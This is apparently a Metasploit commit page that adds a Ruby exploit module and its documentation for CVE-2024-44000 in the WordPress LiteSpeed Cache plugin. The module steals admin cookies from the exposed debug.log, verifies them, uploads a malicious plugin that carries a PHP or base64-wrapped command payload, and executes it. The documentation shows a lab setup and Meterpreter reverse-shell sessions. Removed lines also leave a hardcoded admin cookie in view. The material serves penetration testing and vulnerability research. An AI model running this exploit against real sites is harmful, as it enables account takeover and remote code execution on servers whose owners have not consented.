Skip to content

Commit

Permalink
WP LiteSpeed exploit CVE-2024-44000
Browse files Browse the repository at this point in the history
  • Loading branch information
jheysel-r7 committed Sep 12, 2024
1 parent dd5dd54 commit c80a03f
Show file tree
Hide file tree
Showing 2 changed files with 215 additions and 82 deletions.
112 changes: 112 additions & 0 deletions documentation/modules/exploit/multi/http/wp_litespeed_cookie_theft.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,112 @@
## Vulnerable Application
This module exploits an unauthenticated account takeover vulnerability in LiteSpeed Cache, a Wordpress plugin that currently
has around 6 million active installations. In LiteSpeed Cache versions prior to 6.5.0.1, when the Debug Logging
feature is enabled, the plugin will log admin cookies to the /wp-content/debug.log endpoint which is accessible
without authentication. The Debug Logging feature in the plugin is not enabled by default. The admin cookies
found in the debug.log can be used to upload and execute a malicious plugin containing a payload.

### Setup
Spin up a WordPress container with the following docker-compose file:
```yml
version: '3.8'

services:
db:
image: mysql:latest
volumes:
- db_data:/var/lib/mysql
restart: always
environment:
MYSQL_ROOT_PASSWORD: example_root_password
MYSQL_DATABASE: wordpress
MYSQL_USER: wordpress_user
MYSQL_PASSWORD: example_password

wordpress:
depends_on:
- db
image: wordpress:latest
ports:
- "8000:80" # You can change the port as per your preference
restart: always
environment:
WORDPRESS_DB_HOST: db:3306
WORDPRESS_DB_USER: wordpress_user
WORDPRESS_DB_PASSWORD: example_password
WORDPRESS_DB_NAME: wordpress
volumes:
- wordpress_data:/var/www/html

volumes:
db_data:
wordpress_data:
```
Download, install and activate the vulnerable LiteSpeed Cache plugin: https://downloads.wordpress.org/plugin/litespeed-cache.6.3.zip
Once installed a LiteSpeed menu bar item should appear on the left hand side of the application. When clicked a drop down
should appear. Select "ToolBox", then select "Debug Settings". Then switch the "Debug Log" feature to "On".
Sign out of WordPress and when you reauthenticate your admin cookie will be logged to /wp-content/debug.log
## Verification Steps
1. Start msfconsole
1. Do: `use multi/http/wp_litespeed_cookie_theft`
1. Set the `RHOST`, `LHOST` and `RPORT`
1. Run the module
1. Receive a Meterpreter session in the context of the user running the WordPress site.

## Scenarios
### ARCH_PHP Target - LiteSpeed Cache 6.3 - WordPress 6.4.3
```
msf6 exploit(multi/http/wp_litespeed_cookie_theft) > rexploit
[*] Reloading module...

[*] Started reverse TCP handler on 192.168.1.67:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] One or more potential admin cookies were found
[+] The target is vulnerable. Found and tested valid admin cookie, we can upload and execute a payload
[*] Preparing payload...
[*] Uploading payload...
[*] Executing the payload at /wp-content/plugins/qSNzhabMTP/OiDynMUetY.php...
[*] Sending stage (39927 bytes) to 192.168.1.67
[+] Deleted OiDynMUetY.php
[+] Deleted qSNzhabMTP.php
[+] Deleted ../qSNzhabMTP
[*] Meterpreter session 7 opened (192.168.1.67:4444 -> 192.168.1.67:64935) at 2024-09-11 23:18:14 -0700

meterpreter > getuid
Server username: www-data
meterpreter > sysinfo
Computer : 29292f368fe3
OS : Linux 29292f368fe3 6.10.4-linuxkit #1 SMP PREEMPT_DYNAMIC Mon Aug 12 08:48:58 UTC 2024 x86_64
Meterpreter : php/linux
```
### ARCH_CMD Target - LiteSpeed Cache 6.3 - WordPress 6.4.3
```
msf6 exploit(multi/http/wp_litespeed_cookie_theft) > rexploit
[*] Reloading module...

[*] Started reverse TCP handler on 192.168.1.67:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] One or more potential admin cookies were found
[+] The target is vulnerable. Found and tested valid admin cookie, we can upload and execute a payload
[*] Preparing payload...
[*] Uploading payload...
[*] Executing the payload at /wp-content/plugins/IVStOPtwuq/WvXecICkgw.php...
[*] Sending stage (3045380 bytes) to 192.168.1.67
[+] Deleted WvXecICkgw.php
[+] Deleted IVStOPtwuq.php
[+] Deleted ../IVStOPtwuq
[*] Meterpreter session 6 opened (192.168.1.67:4444 -> 192.168.1.67:64884) at 2024-09-11 23:14:49 -0700

meterpreter > getuid
Server username: www-data
meterpreter > sysinfo
Computer : 172.22.0.3
OS : Debian 12.5 (Linux 6.10.4-linuxkit)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
```
185 changes: 103 additions & 82 deletions modules/exploits/multi/http/wp_litespeed_cookie_theft.rb
Original file line number Diff line number Diff line change
Expand Up @@ -9,72 +9,87 @@ class MetasploitModule < Msf::Exploit::Remote
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HTTP::Wordpress
include Msf::Exploit::FileDropper
prepend Exploit::Remote::AutoCheck
prepend Msf::Exploit::Remote::AutoCheck

class DebugLogError < StandardError; end
class WordPressNotOnline < StandardError; end
class AdminCookieError < StandardError; end

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Wordpress LiteSpeed Cache plugin cookie theft',
'Description' => %q(
Wordpress LiteSpeed Cache plugin cookie theft
),
'Author' =>
'Name' => 'Wordpress LiteSpeed Cache plugin cookie theft',
'Description' => %q{
This module exploits an unauthenticated account takeover vulnerability in LiteSpeed Cache, a Wordpress plugin
that currently has around 6 million active installations. In LiteSpeed Cache versions prior to 6.5.0.1, when
the Debug Logging feature is enabled, the plugin will log admin cookies to the /wp-content/debug.log endpoint
which is accessible without authentication. The Debug Logging feature in the plugin is not enabled by default.
The admin cookies found in the debug.log can be used to upload and execute a malicious plugin containing a payload.
},
'Author' => [
'Rafie Muhammad', # discovery
'jheysel-r7' # module
],
'References' => [
[ 'URL', 'https://patchstack.com/articles/critical-account-takeover-vulnerability-patched-in-litespeed-cache-plugin/'],
[ 'CVE', '2024-44000']
],
'License' => MSF_LICENSE,
'Privileged' => false,
'Platform' => 'php linux win',
'Arch' => [ARCH_PHP, ARCH_CMD],
'Targets' => [
[
'PHP In-Memory',
{
'Platform' => 'php',
'Arch' => ARCH_PHP
# tested with php/meterpreter/reverse_tcp
}
],
[
'?', # discovery
'jheysel-r7' # module
'Unix In-Memory',
{
'Platform' => ['unix', 'linux'],
'Arch' => ARCH_CMD
# tested with cmd/linux/http/x64/meterpreter/reverse_tcp
}
],
'References' =>
[
[ 'URL', 'https://patchstack.com/articles/critical-account-takeover-vulnerability-patched-in-litespeed-cache-plugin/'],
[ 'CVE', '2024-44000']
'Windows In-Memory',
{
'Platform' => 'win',
'Arch' => ARCH_CMD
}
],
'License' => MSF_LICENSE,
'Privileged' => false,
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' => [['WordPress', {}]],
],
'DefaultTarget' => 0,
'DisclosureDate' => '2024-09-04',
'Notes' =>
{
'Stability' => [ CRASH_SAFE, ],
'SideEffects' => [ ARTIFACTS_ON_DISK, ],
'Reliability' => [ REPEATABLE_SESSION, ],
},
)
'Notes' => {
'Stability' => [ CRASH_SAFE, ],
'SideEffects' => [ ARTIFACTS_ON_DISK, ],
'Reliability' => [ REPEATABLE_SESSION, ]
}
)
)
end

def check

return CheckCode::Unknown unless wordpress_and_online?

res = send_request_cgi({
'uri' => '/wp-content/debug.log',
'method' => 'GET'
})

return CheckCode::Unknown('No response from the target') unless res
return CheckCode::Safe('There seems to be no debug.log endpoint to pillage') unless res.code == 200

CheckCode::Vulnerable("Found cookie in debug.log") if res.body.include?("wordpress_logged_in")

@admin_cookie = get_valid_admin_cookie
CheckCode::Vulnerable('Found and tested valid admin cookie, we can upload and execute a payload')
rescue WordPressNotOnline => e
return CheckCode::Unknown("This doesn't appear to be a WordPress site: #{e.class}, #{e}")
rescue DebugLogError => e
return CheckCode::Safe("#{e.class}, #{e}")
rescue AdminCookieError => e
return CheckCode::Safe("#{e.class}, #{e}")
end

def extract_cookies(debug_log)
all_logged_cookies = []
debug_log.each_line do |log_line|
match = log_line.match(/Cookie: (.*)/)
all_logged_cookies << match[0] if match
end
all_logged_cookies
end

def extract_admin_cookies(all_logged_cookies)
admin_cookies = []
all_logged_cookies.each do |log_line|
match = log_line.match(/(wordpress_logged_in_[^=]+=[^;]+).*(wordpress_[^=]+=[^;]+)|(wordpress_[^=]+=[^;]+).*(wordpress_logged_in_[^=]+=[^;]+)/)
debug_log.each_line do |log_line|
match = log_line.match(/Cookie: (wordpress_logged_in_[^=]+=[^;]+).*(wordpress_[^=]+=[^;]+)|(wordpress_[^=]+=[^;]+).*(wordpress_logged_in_[^=]+=[^;]+)/)
admin_cookies << match.captures.compact.join('; ') if match
end
admin_cookies
Expand All @@ -83,73 +98,79 @@ def extract_admin_cookies(all_logged_cookies)
def verify_admin_cookie(admin_cookies)
admin_cookies.each do |admin_cookie|
res = send_request_cgi({
'uri' => '/wp-admin/',
'cookie' => admin_cookie
})
'uri' => '/wp-admin/',
'cookie' => admin_cookie
})
if res&.code == 200
print_good("We've found and admin cookie, time to take over the world.")
return admin_cookie
else
vprint_bad("Not an admin cookie")
end
end

nil
end

def generate_plugin(plugin_name, payload_name)
plugin_script = %Q{<?php
plugin_script = %(<?php
/**
* Plugin Name: #{plugin_name}
* Version: #{Rex::Text.rand_text_numeric(1)}.#{Rex::Text.rand_text_numeric(1)}.#{Rex::Text.rand_text_numeric(2)}
* Author: #{Rex::Text.rand_text_alpha(10)}
* Author URI: http://#{Rex::Text.rand_text_alpha(10)}.com
* License: GPL2
*/
?>}
?>)

php_code = "<?php #{target['Arch'] == ARCH_PHP ? payload.encoded : "system(base64_decode('#{Rex::Text.encode_base64(payload.encoded)}'));"} ?>"
zip = Rex::Zip::Archive.new(Rex::Zip::CM_STORE)
zip.add_file("#{plugin_name}/#{plugin_name}.php", plugin_script)
zip.add_file("#{plugin_name}/#{payload_name}.php", payload.encoded)
zip.add_file("#{plugin_name}/#{payload_name}.php", php_code)
zip
end

def exploit
def get_valid_admin_cookie
raise WordPressNotOnline unless wordpress_and_online?

fail_with(Failure::NotFound, 'The target does not appear to be using WordPress') unless wordpress_and_online?
res = send_request_cgi({
'uri' => '/wp-content/debug.log',
'method' => 'GET'
})
fail_with(Failure::UnexpectedReply,'No response from the target.') unless res
fail_with(Failure::UnexpectedReply,'There is no /wp-content/debug.log endpoint on the target to pillage') unless res.code == 200
fail_with(Failure::UnexpectedReply,'The debug.log file was found but there are no cookies inside to steal.') unless res.body.include?("wordpress_logged_in")

'uri' => '/wp-content/debug.log',
'method' => 'GET'
})
raise DebugLogError, 'There was no /wp-content/debug.log endpoint found on the target to pillage' unless res&.code == 200
raise DebugLogError, 'There were no cookies found inside /wp-content/debug.log' unless res.body.include?('wordpress_logged_in')

admin_cookies = extract_cookies(res.body)
raise AdminCookieError 'No admin cookies could be found in debug.log' unless admin_cookies

all_cookies = extract_cookies(res.body)
print_status('One or more potential admin cookies were found')

fail_with(Failure::UnexpectedReply, 'There was an issue extracting cookies from the debug.log file') unless all_cookies
print_good("Cookies were found")
admin_cookie = verify_admin_cookie(admin_cookies)
raise AdminCookieError, 'Admin cookies were found but are invalid' unless admin_cookie

admin_cookies = extract_admin_cookies(all_cookies)
vprint_good("One or more potential admin cookies were found")
admin_cookie
end

admin_cookie = verify_admin_cookie(admin_cookies)
vprint_good("Verified we have a valid an admin cookie")
def exploit
unless @admin_cookie
begin
@admin_cookie = get_valid_admin_cookie
print_good('Found and tested valid admin cookie, we can upload and execute a payload')
rescue WordPressNotOnline => e
fail_with(Failure::NotFound, "#{e.class}, #{e}")
rescue DebugLogError => e
fail_with(Failure::UnexpectedReply, "#{e.class}, #{e}")
rescue AdminCookieError => e
fail_with(Failure::UnexpectedReply, "#{e.class}, #{e}")
end
end

print_status("Preparing payload...")
print_status('Preparing payload...')
plugin_name = Rex::Text.rand_text_alpha(10)
payload_name = "#{Rex::Text.rand_text_alpha(10)}"
payload_name = Rex::Text.rand_text_alpha(10).to_s
payload_uri = normalize_uri(wordpress_url_plugins, plugin_name, "#{payload_name}.php")
zip = generate_plugin(plugin_name, payload_name)

print_status("Uploading payload...")
# require 'pry-byebug'
# binding.pry

#admin_cookie = "wordpress_70490311fe7c84acda8886406a6d884b=admin%7C1726261494%7Cftvy2vH8dTLXjkbZqNg6PU9u7RkI89U1qYfpsvqSPb3%7C8d04a7bea4697a96e4259346dc07654a081597b5484fb91df2a883c72f69f49d; wordpress_logged_in_70490311fe7c84acda8886406a6d884b=admin%7C1726261494%7Cftvy2vH8dTLXjkbZqNg6PU9u7RkI89U1qYfpsvqSPb3%7Cb4fb6a316b94520cb51847f71fed25da55d1bcbe8295870dbc6eaa6282654c3b"
#admin_cookie = "wordpress_70490311fe7c84acda8886406a6d884b=admin%7C1726261494%7Cftvy2vH8dTLXjkbZqNg6PU9u7RkI89U1qYfpsvqSPb3%7C8d04a7bea4697a96e4259346dc07654a081597b5484fb91df2a883c72f69f49d; wordpress_logged_in_70490311fe7c84acda8886406a6d884b=admin%7C1726261494%7Cftvy2vH8dTLXjkbZqNg6PU9u7RkI89U1qYfpsvqSPb3%7Cb4fb6a316b94520cb51847f71fed25da55d1bcbe8295870dbc6eaa6282654c3b"
print_status('Uploading payload...')

uploaded = wordpress_upload_plugin(plugin_name, zip.pack, admin_cookie)
uploaded = wordpress_upload_plugin(plugin_name, zip.pack, @admin_cookie)
fail_with(Failure::UnexpectedReply, 'Failed to upload the payload') unless uploaded

print_status("Executing the payload at #{payload_uri}...")
Expand All @@ -158,4 +179,4 @@ def exploit
register_dir_for_cleanup("../#{plugin_name}")
send_request_cgi({ 'uri' => payload_uri, 'method' => 'GET' }, 5)
end
end
end

0 comments on commit c80a03f

Please sign in to comment.